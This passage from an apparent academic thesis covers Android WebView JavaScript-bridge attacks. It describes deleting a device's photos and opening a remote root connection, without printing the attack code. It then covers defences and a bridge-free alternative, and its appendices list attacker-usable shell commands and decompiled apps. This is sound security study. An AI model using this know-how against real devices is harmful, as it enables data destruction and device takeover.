In the code above a file is created containing a command that can be executed. In this case, there 
is just one command in the new script file, however a much larger script could be printed to the file. 
The second line of the code, the permissions of the script file are changed in order to allow the 
execution of the file. Finally, the last line of the code above executes the script file and, in this case, 
deletes all the content of the DCIM in the SD card. Usually this directory stores all the pictures taken 
by the device. It is possible to find all the system commands in the appendix 2. 
Besides the example showed above, it is possible to do major damage to the device removing files, 
creating new ones or, as it was demonstrated by “MWR Security” [10] it is even possible to deploy a 
payload into the Android device that will connect to a remote server owned by the attacker. With this 
connection, the attacker can gain root access to the device and, once that is done, the attacker can 
steal data, disable the device temporally or permanently and perform other malicious acts. 
This attack, if full performed, is the most dangerous attack that can be performed so far in Android 
devices. 
 
7.3.3.  EXTENSION 
 
For the severe damages this attack can do, Google introduced a restriction on the accessible 
functions from JavaScript code using the JavaScript Bridge. This restriction applies to devices with 
API 17 and later API versions of Android OS. 
The introduced restriction consist in enforcing the use of the  @JavascriptInterface annotation in all 
the public methods that the developer wants to give access from JavaScript code. By this means, 
unless the developer of the application allow the use of getClass() method, it's not possible to 
perform this attack. Unfortunately as we can see in the following figure, nearly 70% of Android 
devices are using an API version equal or below 16. This means that all those devices are 
susceptible to be attacked by the means explained in this section. 
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Figure 9: Android version distribution diagram  
Source: https://developer.android.com/about/dashboards/index.html?utm_source=ausdroid.net  
 
 
 
Figure 10: Android version distribution table  
Source: https://developer.android.com/about/dashboards/index.html?utm_source=ausdroid.net  
  
Page 35 of  50 
 
8. PROPOSED SOLUTIONS 
 
After analyzing and testing the previous attack vectors and the possible damages that can be done 
using those vectors, the author has come up with some solutions and recommendations for both 
users and developers. The proposed solutions and recommendations can reduce the impact of the 
attacks and even eliminate the threat. 
 
8.1. USER SIDE 
8.1.1.  UPDATE THE DEVICE 
 
Some of the attacks reviewed in this document, and probably others, can be avoided by updating 
the Android device. However that is, in a lot of cases, difficult and even dangerous as devices might 
need to be rooted, a process that is out of reach for most of the Android users. 
This difficulty to update the Android devices is because, usually, the phones don't execute “real” 
Android OS, instead most of that, the “Android devices” are executing a tweaked version of Android. 
Carriers and manufacturers modify the code which is running on their devices in order to add 
custom functionalities or block rival carriers SIM cards [9]. 
These modifications made the updating process quite complicated as the manufacturers that 
modified the code have to review the new update and modify it again in order to update their 
devices. Sometimes the manufacturers and carriers stop supporting a device which means that that 
device is no longer easily upgradeable. When that happens the user is forced to root the device in 
order to be able to erase the ROM and change it for another one. This procedure has its own risks 
which can lead to unusable hardware.    
 
8.1.2.  AVOID UNPROTECTED NETWORKS FOR SENSITIVE COMMUNICATIONS 
 
As has been demonstrated an attacker can intercept communications between the Android device 
and a public server in order to introduce its own malicious code. However this is more difficult in a 
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protected private network than in a public unprotected network. For that reason it is always 
recommendable to avoid the use of applications managing sensitive information in unprotected 
networks. 
 
8.2. DEVELOPERS SIDE 
8.2.1.  AVOID BUILDING THE JAVASCRIPT BRIDGE 
 
One of the most dangerous attacks described in this document may occur due to the existence of 
the JavaScript Bridge when the user’s android device is not properly updated. Developers can't rely 
on the supposition that all the users will have their Android device fully updated. Therefore, if the 
developer finds a way to perform the same functionalities without using the JavaScript Bridge the 
vulnerability will disappear. 
If the developer really needs to call native code from JavaScript code there is still a solution that will 
allow the developer to do that without a JavaScript Bridge. In order to do that the method 
shouldOverrideUrlLoading (WebView view, String url) should be taken in consideration. This method 
is called every time a URL is about to be loaded and allow the native code to take over the 
WebView navigation. When shouldOverrideUrlLoading (WebView view, String url) is called, receives 
the URL to be loaded as a parameter. This is what can be used to communicate the JavaScript 
code with the native code. 
The idea is to load fake URL that has encoded the functions to be executed by the native code. 
When the native code intercepts the loading web page can determine if it’s a real website or if it’s a 
preprogramed function. In that case, the native code can execute the appropriate function and send 
the result back to the JavaScript calling a function that will be used as a callback function. 
To demonstrate this behavior, the following code can be used: 
 
public class WebViewActivity extends Activity { 
  
    private WebView webView; 
    String baseurl = "file:///android_asset/" ; 
  
    @SuppressLint({ "JavascriptInterface", "SetJavaScriptEnabled" }) 
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    public void onCreate(Bundle savedInstanceState) { 
        super.onCreate(savedInstanceState); 
        setContentView(R.layout.webview); 
         
        Bundle extras = getIntent().getExtras(); 
        String url = null; 
        if(extras !=null) { 
            url = extras.getString("URL"); 
        } 
        url = "javascript:" +url; 
  
        webView = (WebView) findViewById(R.id.webView1); 
        webView.getSettings().setJavaScriptEnabled(true); 
        webView.loadUrl(baseurl+"noBridge.html"); 
 
        webView.setWebViewClient(new WebViewClient() { 
 
              @Override 
              public boolean shouldOverrideUrlLoading(WebView view, String url) 
{ 
                  url = url.replace(baseurl, ""); 
                if(url.startsWith("method1")){ 
                    String params[] = url.split("-");        
                    method1(Integer.parseInt(params[1]),params[2]); 
                    return true; 
                } 
                return !(itsAdmisibleUrl(url)); 
              } 
           }); 
 
      } 
    private void method1(int x, String y){ 
        //do some calculations and store the answer in the ret variable 
        int ret = x*123; 
        webView.loadUrl("javascript:answer('method1', "+ret+")"); 
    } 
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    private boolean itsAdmisibleUrl(String url){ 
        return false; 
    } 
     
} 
 
The above code is the Java native code that controls the execution. As it can be seen, the 
shouldOverrideUrlLoading (WebView view, String url) will intercept all the web pages that the 
WebView is trying to load. Then it will examine the loading URL. If the WebView is trying to upload a 
programed method this will be identified, executed and the loading operation will be stopped for that 
URL. If the URL is not a programed method, the itsAdmisibleUrl(url) function will analyze if the 
WebView should load that URL. For security reasons in the example above all the URL are 
intercepted and they are not allowed to load. This behavior is encouraged as the developer 
shouldn't allow third party URLs to be load on their WebView even if they are trustworthy. Instead of 
that, the default browser should be executed to load those URL. 
As it can be seen, in the example above there is just one programed method that the JavaScript 
code is allowed to call, method1(int x, String y). When this method is called, it does the calculations 
or the functionalities that should have and, if there is a return value to be returned, calls a callback 
function. This callback function has as parameters, the method that is calling back and the return 
value of the method. 
By this means a fully bidirectional communication can be established between java native code and 
JavaScript code. 
The following code shows how this communication is seen by from the JavaScript side: 
<!DOCTYPE html> 
<html> 
<body> 
 
<script type="text/javascript"> 
   function answer(method, ret){ 
        if(method = "method1") document.write(ret); 
   } 
</script> 
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<p> Text </p> 
 
<script type="text/javascript"> 
   window.location.assign("method1-3-hola"); 
</script> 
 
</body> 
</html> 
 
As it can be seen from the JavaScript side the communication is even simpler. In this case we can 
spot two scripts. 
The first one is the on handling the callback, the function answer(method, ret) receives the name of 
the method that is calling back and its return value, with that, the JavaScript code can follow with its 
execution. 
The second important code is the one that is calling the java native method. As it can be seen, the 
JavaScript code is loading a URL that has encoded the name of the method and its parameters. 
Using this method to call java native code from JavaScript code will prevent any attack that attempt 
to use native code and make serious damage to the device. However JavaScript injection can still 
be performed, and for that, the developer should always be careful with the use of JavaScript. 
 
8.2.2.  BUILD A LIBRARY RECOGNITION PROGRAM 
 
One of the most important uses of JavaScript in Android devices is, at this moment, to display 
advertisements. Like has been stated previously, the use of advertisement libraries is related to a 
security breach that allow any attacker to inject malicious code.  
In order to defend the Android devices against this vulnerability, an important part of the research 
time dedicated to this project was used to find patterns among the principal advertisement libraries. 
The idea was to find patterns in the JavaScript calls found in the advertisement libraries. Once 
found, these patterns could be used to build a program that analyses the incoming JavaScript files 
in order to find out if had been modified. 
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Although is a very interesting topic, the research couldn’t be completed due to a lack of time and 
results. If completed, this research could reduce the chances of being attacked using the 
vulnerability related to the use of advertisements.   
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9. PLANNING 
 
This project was planned in order to have a total duration of about 20 weeks with a dedication of 20 
hours per week, which makes 400 hours of dedicated work to do this project. The planning of the 
project was divided in weeks because each week the work done during the week was revised and 
the course of action redirected. With this methodology a consistent line of work was intended in 
order to obtain the best results possible. 
The first planning of the project was based on personal experience on other projects done in the 
past and a rough estimation on how much difficulty was involved in the procedure of each task. 
Although the idea was to follow this planning, the results obtained each week determined, in the 
end, the actual schedule for each task. 
In the following figures, there is the first planning for the project compared with the real time 
distribution of the work. As it can be seen in the figures, at the beginning, the schedule was 
followed. However, at the 4th week the investigation entered into an infructuous task, finding 
patterns in advertisements libraries. This task and the next one, build the recognition program, had 
to be discontinued in order to meet the project deadlines. Despite the possibility that there is no 
common pattern to be found in the advertisement libraries it is still an interesting topic of research 
as could be a defense mechanism against code injection. 
Because of the lengthening of the previous task the following tasks had to be either shortened or 
combined with other tasks as it can be seen in the Gantt diagrams. As it can be seen, with the 
arrangements in the time dedicated to each task, the whole project has been fitted in 20 work 
weeks. 
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Figure 11: Planning vs. Real time distribution 
  
Page 43 of  50 
 
10. CONCLUSIONS AND FUTURE WORK 
 
Even if the extension of the topic studied in this project is far wider of what have been stated in this document, 
all the work done has given to the author a very solid foundation on how Android works, on security matters 
and their interaction. 
While doing this project the author has learned important topics on computer security and how they work, for 
example, the author had to learn how to perform a “man in the middle” and was challenged to test it effectively 
in order to prove his hypothesis. The author also has learnt about how the Android OS works and how is 
adapting new and old technologies, initially no related to Android, in order to enhance both the user experience 
and the developers convenience. 
With the knowledge acquired during the project has also raised a concern about general security topics 
regarding the use both of computers and mobile devices as at this moment there are still some big security 
holes that need to be resolved. 
As has been stated, computer security in general and mobile devices security is not just interesting in an 
academic way, it is also a valuable and needed research area to secure our privacy and security. The work 
stated in this document is just the beginning of a larger work that the author will continue at the University of 
Colorado Colorado Springs as he has received a scholarship in order to pursue a “MS degree in Computer 
Science, with a concentration in Information Assurance” while he keeps working on this topic. 
The future work scheduled for this project is to focus on authentication faults in Android devices using 
JavaScript. Authentication is a sensitive matter that needs to be secured as would allow a successful attacker 
to do actions in the victim’s name. In addition to doing research on authentication systems the author believes 
that it is worth to resume the research on finding patterns for third party libraries not only for the reasons stated 
in this document but also because, if done well, an automatic procedure for library recognition can be 
abstracted. 
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12. APPENDIXES 
12.1.  JAVASCRIPT NATIVE BRIDGE 
 
If we focus on native apps that execute code through a WebView we will have to build a bridge that will allow 
us to call JavaScript from the native Java code and vice versa. The following steps have to be followed in order 
to build that bridge: 
1. Activate the use of JavaScript in the target WebView: 
WebView myWebView = (WebView) findViewById(R.id.webview); 
WebSettings webSettings = myWebView.getSettings(); 
webSettings.setJavaScriptEnabled(true); 
 
2. Create the actual JavaScript Bridge 
public class JavaScriptBridge { 
    Context mContext; 
    /* Constructor setting the context */ 
    JavaScriptBridge(Context Cont) { 
    this.mContext = Cont; 
    } 
    /* Public functions that can be called from JavaScript code */ 
    @JavascriptInterface 
    public void messageToLog(String msg){ 
    Log.w("myApp", msg); 
    } 
} 
3. Bind the bridge with the WebView 
WebView webView = (WebView) findViewById(R.id.webview); 
webView.addJavascriptInterface(new JavaScriptBridge (this), "AndroidBridge"); 
With these three steps we will be able to call Java code from the JavaScript code: 
window.AndroidBridge.messageToLog("Hello World!"); 
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If we just want to execute JavaScript code from our application we don't need to build a bridge. The only need 
to execute JavaScript code is to activate this feature in the target WebView (Step number 1) and then execute 
JavaScript code using loadUrl or evaluateJavaScript (in the latest Android API). 
myWebView.loadUrl("javascript:myjavascriptfunc()"); 
It is worth to know that all the JavaScript called using the method "loadUrl" is executed in top of the files and 
codes loaded previously. The JavaScript can be executed both on top of local html files and internet third party 
websites. 
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12.2.  LIST OF COMMANDS IN ANDROID DEVICES 
 
The following list contains all the commands that are available in a normal Android device. All these commands 
are available to anybody that gains access to an Android console or to an exec() system call. With some of 
these commands, is possible to create or delete files, reboot the Android device, change file permissions, 
gather some information, etc.  
adb 
am 
app_process 
applypatch 
applypatch_static 
audioloop 
bmgr 
bootanimation 
bugreport 
cat 
check_prereq 
chmod 
chown 
cmp 
dalvikvm 
date 
dd 
debuggerd 
dexopt 
df 
dhcpcd 
dmesg 
dumpstate 
dumpsys 
flash_image 
fsck_msdos 
gdbjithelper 
gdbserver 
getevent 
getprop 
gzip 
hd 
id 
ifconfig 
iftop 
ime 
input 
insmod 
installd 
ioctl 
ionice 
keystore 
keystore_cli 
kill 
linker 
ln 
log 
logcat 
logwrapper 
ls 
lsmod 
lsof 
mediaserver 
mkdir 
mksh 
monkey 
mount 
mtpd 
mv 
nandread 
ndc 
netcfg 
netd 
netstat 
newfs_msdos 
notify 
omx_tests 
ping 
pm 
pppd 
printenv 
ps 
qemu-props 
qemud 
racoon 
radiooptions 
reboot 
record 
recordvideo 
recovery 
renice 
rild 
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rm 
rmdir 
rmmod 
route 
run-as 
schedtest 
schedtop 
screencap 
screenshot 
sdcard 
sendevent 
service 
servicemanager 
setconsole 
setprop 
sf2 
sh 
showlease 
simg2img 
skia_test 
sleep 
smd 
stagefright 
start 
stop 
stream 
surfaceflinger 
svc 
sync 
system_server 
testid3 
toolbox 
top 
umount 
updater 
uptime 
vdc 
vmstat 
vold 
watchprops 
whisperd 
wipe 
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12.3.  LIST OF DECOMPILED APPLICATIONS 
 
The following list contains the package name of all the applications decompiled. As it can be seen in the list, 
the package name is not the name of the application itself, is the name of the java package of their code. 
However a lot of the applications names can be deducted from the package name: 
air.e2applets.ironpants 
allindiabankinfo.allindiabankinfo 
bbc.mobile.news.ww 
cat.gencat.mobi.home 
co.vine.android 
com.adobe.reader 
com.amazon.mShop.android 
com.bbva.bbvacontigo 
com.beatsmusic.android.client 
com.boxed.prod 
com.cleanmaster.mguard 
com.clearchannel.iheartradio.controller 
com.db.mm.deutschebank 
com.dotgears.flappybird 
com.dropbox.android 
com.duduapps.craigslistfree 
com.ebay.mobile 
com.ent.mobile 
com.facebook.orca 
com.fingersoft.hillclimb 
com.gameloft.android.ANMP.GloftDMHM 
com.google.android.apps.translate 
com.google.earth 
com.groupon 
com.halfbrick.fruitninjafree 
com.htsu.hsbcpersonalbanking 
com.igg.castleclash 
com.imangi.templerun2 
com.infonow.bofa 
com.instagram.android 
com.jb.gosms 
com.kiloo.subwaysurf 
com.king.candycrushsaga 
com.king.farmheroessaga 
com.king.petrescuesaga 
com.netflix.mediaclient 
com.oovoo 
com.outfit7.mytalkingtomfree 
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com.pinterest 
com.rovio.angrybirds 
com.scopely.slotsvacation 
com.seriouscorp.clumsybird 
com.sgiggle.production 
com.sgs.sbi.mbanking 
com.shazam.android 
com.skype.raider 
com.snapchat.android 
com.soundcloud.android 
com.spotify.mobile.android.ui 
com.supercell.clashofclans 
com.surpax.ledflashlight.panel 
com.turbochilli.unrollme 
com.twitter.android 
com.weather.Weather 
com.whatsapp 
com.yahoo.mobile.client.android.mail 
com.zynga.words 
edge.star.trek.soundboard 
edge.star.wars.soundboard 
es.bancosantander.apps 
es.lacaixa.mobile.android.newwapicon 
gov.irs 
kik.android 
net.zedge.android 
